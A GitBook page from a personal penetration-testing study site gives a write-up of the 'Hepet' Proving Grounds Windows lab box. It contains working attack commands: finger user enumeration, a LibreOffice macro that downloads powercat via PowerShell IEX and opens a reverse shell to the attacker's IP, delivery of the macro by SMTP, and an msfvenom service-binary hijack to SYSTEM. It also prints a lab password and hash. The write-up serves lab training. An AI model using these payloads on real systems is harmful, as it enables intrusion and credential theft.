Hacker Kayra
  • 📍Introduction Page
  • ⭐Learning Process
    • 🧠Learning Mindset
    • 🖇️Learning Dependencies
    • 🧮Learning Process
  • 🔠Fundamentals
    • 🛜Networking Fundamentals
    • 🐧Linux Fundamentals
    • 🪟Windows Fundamentals
    • 🕵️Active Directory
    • 🕸️Introduction to Web Applications
    • 🗃️Other Useful Concepts
      • Regular Expressions (RegEx)
    • Cyber Security Products
      • Lab Setup
      • ✅Fortigate Firewall
      • MDM Lab
      • IAM Lab
      • PAM Lab
      • DLP Lab
  • 🧰Tools
    • Nmap
    • Nessus
    • Ffuf
    • Hydra
    • John The Ripper
  • ✍️Write Ups
    • 🗃️Hack The Box Machines
      • 🐧Linux
        • Code
    • 🗃️Proving Grounds Boxes
      • 🐧Linux
        • Stapler
        • eLection
        • Loly
        • Blogger
        • Potato
        • Amaterasu
        • Exfiltrated
        • Pelican
        • Astronaut
        • Cockpit
        • Levram
        • Extplorer
        • LaVita
        • pc
        • Scrutiny
        • Zipper
        • Flu
        • Twiggy
        • Codo
        • Crane
        • Hub
        • BlackGate
        • Boolean
        • ClamAV
        • PayDay
        • Snookums
        • Bratarina
        • Nibbles
      • 🪟Windows
        • Algernon
        • AuthBy
        • Craft
        • Kevin
        • Squid
        • Jacko
        • DVR4
        • Hepet
        • Shenzi
        • Nickel
        • Slort
        • MedJed
        • Active Directory
          • Access
          • Vault
    • 🪪Certificates
      • Certified Professional Penetration Tester (eCPPTv3)
      • Web Application Penetration Tester eXtreme (eWPTXv3)
    • 🚩CTF Events
      • Cyber Hub 2025 CTF
  • 📚Study Notes
    • Penetration Tester (HTB CPTS)
      • Penetration Testing Process
      • Reconnaissance, Enumeration & Attack Planning
        • Network Enumeration with Nmap (Continue Here)
        • Footprinting (Just Do Formatting)
        • Vulnerability Scanning (Check)
        • File Transfers
        • Using the Metasploit Framework
        • Web Information Gathering
        • Shells & Payloads
      • Exploitation & Lateral Movement
        • Attacking Common Services (Just Do Formatting)
        • Password Attacks
        • Active Directory Enumeration & Attacks (TBC)
        • Pivoting, Tunneling, and Port Forwarding
      • Web Exploitation
        • Using Web Proxies (Check)
        • Attacking Web Applications With Ffuf (Check)
        • Login Bruteforcing
        • Cross-Site Scripting (XSS)
        • Command Injection
        • SQL Injection
        • File Upload Attacks
        • File Inclusion
        • Web Attacks (Check)
        • Attacking Common Applications (Check)
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation (TBC)
      • Documentation & Reporting
  • 🧑‍💻Other
    • Leet Code
      • Quick Guide: Big-O Notation
      • Problem 01 - Two Sum
    • Data Structure & Algorithms (DSA)
  • 🗄️Archive/Backup/Bin
    • Sysmon Usecases (IBM)
    • 🐧Linux Fundamentals (TryHackMe)
      • Introduction
      • Basic Commands
      • Wildcards & Operators
      • Permissions
      • Common Directories
      • Terminal Text Editors
      • General/Useful Utilities
    • 🪟Windows Fundamentals (TryHackMe)
      • Introduction
      • The File System
      • User Accounts
      • Settings & Control Panel & Task Manager
      • System Configuration
    • Active Directory (TryHackMe)
      • Breaching Active Directory
    • FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics
      • Book 2 - Intrusion Analysis
        • Credential Theft
        • Event Log Analysis for Responders and Hunters
    • Certified Threat Hunting Professional (eCTHPv2)
      • Threat Hunting: Hunting the Endpoint & Endpoint Analysis
        • Event IDs, Logging, & SIEMs
    • OSCP
      • Report Writing
      • ✅Passive Information Gathering
      • ✅Active Information Gathering
      • ✅Vulnerability Scanning
      • Introduction to Web Application Attacks
      • Common Web Application Attacks
        • ✅Cross-Site Scripting (XSS)
        • ✅Directory Traversal
        • ✅File Inclusion
        • ✅File Upload Vulnerabilities
        • Command Injection
        • SQL Injection Attacks
        • Client Side Attacks
      • ✅Locating Public Exploits
      • ✅Exploiting Walkthrough
      • Fixing Exploits
      • ✅Antivirus Evasion
      • Password Attacks
      • Windows Privilege Escalation
      • Linux Privilege Escalation
      • Port Redirection and SSH Tunneling
      • Tunneling Through Deep Packet Inspection
      • The Metasploit Framework
      • Active Directory Introduction & Enumeration
      • Attacking Active Directory Authentication
      • Lateral Movement in Active Directory
      • Assembling the Pieces
      • Other General Information
    • ⚡Port Swigger (Web Penetration Testing)
      • ✅Information Disclosure
      • ✅Path Traversal (Directory Traversal)
      • ✅OS Command Injection
      • Business Logic Vulnerabilities
      • ✅Authentication
      • ✅Access Control
    • Certified Bug Bounty Hunter (CBBH)
      • Web Requests
        • HTTP Fundamentals
    • Getting Started
      • Introduction
      • Pentesting Basics
    • Certified Penetration Testing Specialist (CPTS)
      • Introduction
        • ✅Penetration Testing Process
          • Penetration Testing Overview
          • Laws & Regulations
          • Penetration Testing Process
          • Pre-Engagement
          • Information Gathering
          • Vulnerability Assessment
          • Exploitation
          • Post-Exploitation
          • Lateral Movement
          • Proof-of-Concept
          • Post-Engagement
          • Practice
          • Academy Module Layout
        • Getting Started with Hack The Box (HTB)
      • Reconnaissance, Enumeration & Attack Planning
        • ✅Network Enumeration with Nmap
          • Enumeration & Introduction to Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving The Results
          • Service Enumeration
          • Nmap Scripting Engine
          • Scanning Performance
          • Firewall and IDS/IPS Evasion
        • Footprinting
        • ✅Information Gathering - Web Edition
          • Introduction
          • Passive Information Gathering
          • Active Information Gathering
        • Vulnerability Assessment
        • File Transfers
        • Shells & Payloads
        • Using the Metasploit Framework
      • Exploitation & Lateral Movement
        • Password Attacks
        • Attacking Common Services
        • Pivoting, Tunneling, and Port Forwarding
        • Active Directory Enumeration & Attacks
      • Web Exploitation
        • Using Web Proxies
        • ✅Attacking Web Applications with Ffuf
        • ✅Login Brute Forcing
        • SQL Injection Fundamentals
        • SQLMap Essentials
        • Cross-Site Scripting (XSS)
        • File Inclusion
        • File Upload Attacks
        • Command Injections
        • Web Attacks
        • Attacking Common Applications
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • Reporting & Capstone
        • Documentation & Reporting
        • Attacking Enterprise Networks
    • Old Active Directory
    • Tib3rius Privilege Escalation
      • Linux Privilege Escalation
    • HTB Archived Write-Ups (Check)
      • Irked
      • Nibbles
      • Brainfuck
      • Lame (Check)
    • 📋Cheat Sheets
      • Penetration Testing Cheat Sheet (In Progress)
Powered by GitBook
On this page
  • Enumeration & Reconnaissance
  • Service Analysis
  • Gaining Initial Access
  • Privilege Escalation
  • Lessons Learned
  1. Write Ups
  2. Proving Grounds Boxes
  3. Windows

Hepet

PreviousDVR4NextShenzi

Last updated 2 months ago

Source: Proving Grounds OS: Windows Community Rating: Very Hard

Enumeration & Reconnaissance

  • Started with the usual autorecon and was literally bombarded with open ports: SMTP (25), Finger (79), 105, 106, Pop3 (110), 135, 139, IMAP (143), HTTP (443), 445, HTTP (2224), 5040, HTTP (8000), 11100, FTP (20001), 33006, 49664-49669

  • Lots to uncover...

Service Analysis

  • I noticed that there were too many email-related ports, so maybe that was a vector to explore. I started with HTTP as I usually do, but reached nowhere, both the 443 and 8000 ports hosted the same website, essentially a landing page with no functionality (just some pictures of the team).

  • On Finger, I learned a new technique to enumerate users using a tool from pentestmonkey. With the following command, I was able to get a list of users that matched those on the website:

./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.170.140 | grep -v "is not known"

Gaining Initial Access

  • I knew that I needed to access the emails, but I still needed a password. With the list of users in hand, I tried to bruteforce Pop3; however, that didn’t work and the server blocked me, forcing me to revert the machine to get removed from the blacklist. The HTTP interface wasn’t interactive and nothing of value was fuzzed.

  • FTP (20001) allowed anonymous login, so I grabbed its contents using:

wget -r ftp://Anonymous:pass@192.168.170.140:20001
  • But nothing of interest was found there, it was just the source code of some application with no valuable env/config files. I also checked the SMB ports, but again, nothing useful emerged.

  • I then moved to port 2224, which hosted a mailing list subscriber service. I spent some time on this one, even found a few CVEs, but nothing worked.

  • After minutes of hitting my head against a wall and going in circles, I started searching for hints. Remember the HTTP application with no functions? One of the user’s job titles looked weird, while everyone else was listed as Public Relations, Writer, etc., one user had the text: SicMundusCreatusEst. I could’ve spent hours and never thought the password might be hidden there, CTF style..

  • Anyway, I tried to access the email using that password and it worked!

    • Using telnet:

telnet 192.168.118.46 110
USER jonas
PASS SicMundusCreatusEst
LIST
RETR 1
RETR 2
RETR 3
RETR 4
  • I checked the emails one by one. One email stated: "If you can please send to mailadmin the spreadsheet for printing with all the company contacts will be really apreciated."

  • Another email said: "We will be changing our office suite to LibreOffice. For the moment, all the spreadsheets and documents will be first procesed in the mail server directly to check the compatibility."

  • So, emails are to be sent to mailadmin and they are of type spreadsheets. I needed to inject a macro into a spreadsheet file and send it. But how do I send the email? I couldn’t use Pop3 or IMAP. It took me a while to remember that we had SMTP. I guess it’s one of the side effects of doing boxes at night.

  • I created the file and injected this macro into it:

Sub Main
  Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.170/powercat.ps1');powercat -c 192.168.45.170 -p 9999 -e powershell")
End Sub
  • Then I configured it to run once the document was opened.

  • Another dumb mistake I made was sending an ODT file (a word file) instead of an ODS file (a spreadsheet, as highlighted in the email!), costing me another hour.

  • To send the email, I used the following command:

sendemail -f 'jonas@localhost' \
-t 'mailadmin@localhost' \
-s 192.168.170.140:25 \
-u 'Good Morning Sir' \
-m 'Open this file or die' \
-a ShitIWasSendingODT.ods
  • After sending the email with the spreadsheet attachment, a few minutes later I got the shell back! Finally, we were in.

Privilege Escalation

  • Next, I uploaded Winpeas after checking whoami /priv and reviewing installed programs. Winpeas exposed a service running under our user's home—veyon-service.exe.

  • To check the privileges of the service, I ran:

sc.exe qc VeyonService
  • That confirmed it was running as SYSTEM.

  • I then created a shell using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=192.168.45.170 LPORT=8178
  • I replaced the service binary by renaming the original:

mv veyon-service.exe veyon-service-backup.exe
mv shell.exe veyon-service.exe
  • Finally, I restarted the windows so that the service (our “reverse shell”) is restarted and run as SYSTEM by executing:

shutdown /r
  • Bingo, that was it. After a minute or two, I got a privileged shell back.

  • If that hadn’t worked, Winpeas had exposed a password for the user we logged in as: Ela Arwel:LadderWheelGallon443 and the hash: Ela Arwel::HEPET:1122334455667788:c8c450a62eb98c71153a511632034e0a:01010000000000007f8f30011795db01a812cd26f72e3cdc000000000800300030000000000000000000000000200000fddba21abefbbfef27bcf4f1785a7040c72d7d3aec636c5ca8979886911e3b570a00100000000000000000000000000000000000090000000000000000000000 Both could've been explored if the service hijack didn't work!

Lessons Learned

  • Keep an eye out for inconsistencies, like that password I totally missed.

  • Email-related services can hinted towards the entry points.

  • Enumerating users via finger enumeration tool exposed the users.

  • Always verify file types before sending payloads, a mistake between ODT and ODS can cost precious time.

  • SMTP can be used to send emails.

  • Replacing a service binary with a reverse shell executable is an effective privilege escalation method when the service runs as SYSTEM.

✍️
🗃️
🪟
HTTP Page
Finger User Enumeration
Bruteforcing Block
FTP Tree
Port 2224
Password as Job Description
We Should Send to mailadmin
Spreadsheets Using LibreOffice
Losing an Hour Because I Was Sending .odt
Finally We Are In!
WinPEAS Exposed Service
Checking the Service
Replacing the Service Executable with the Shell
Privilege Escalation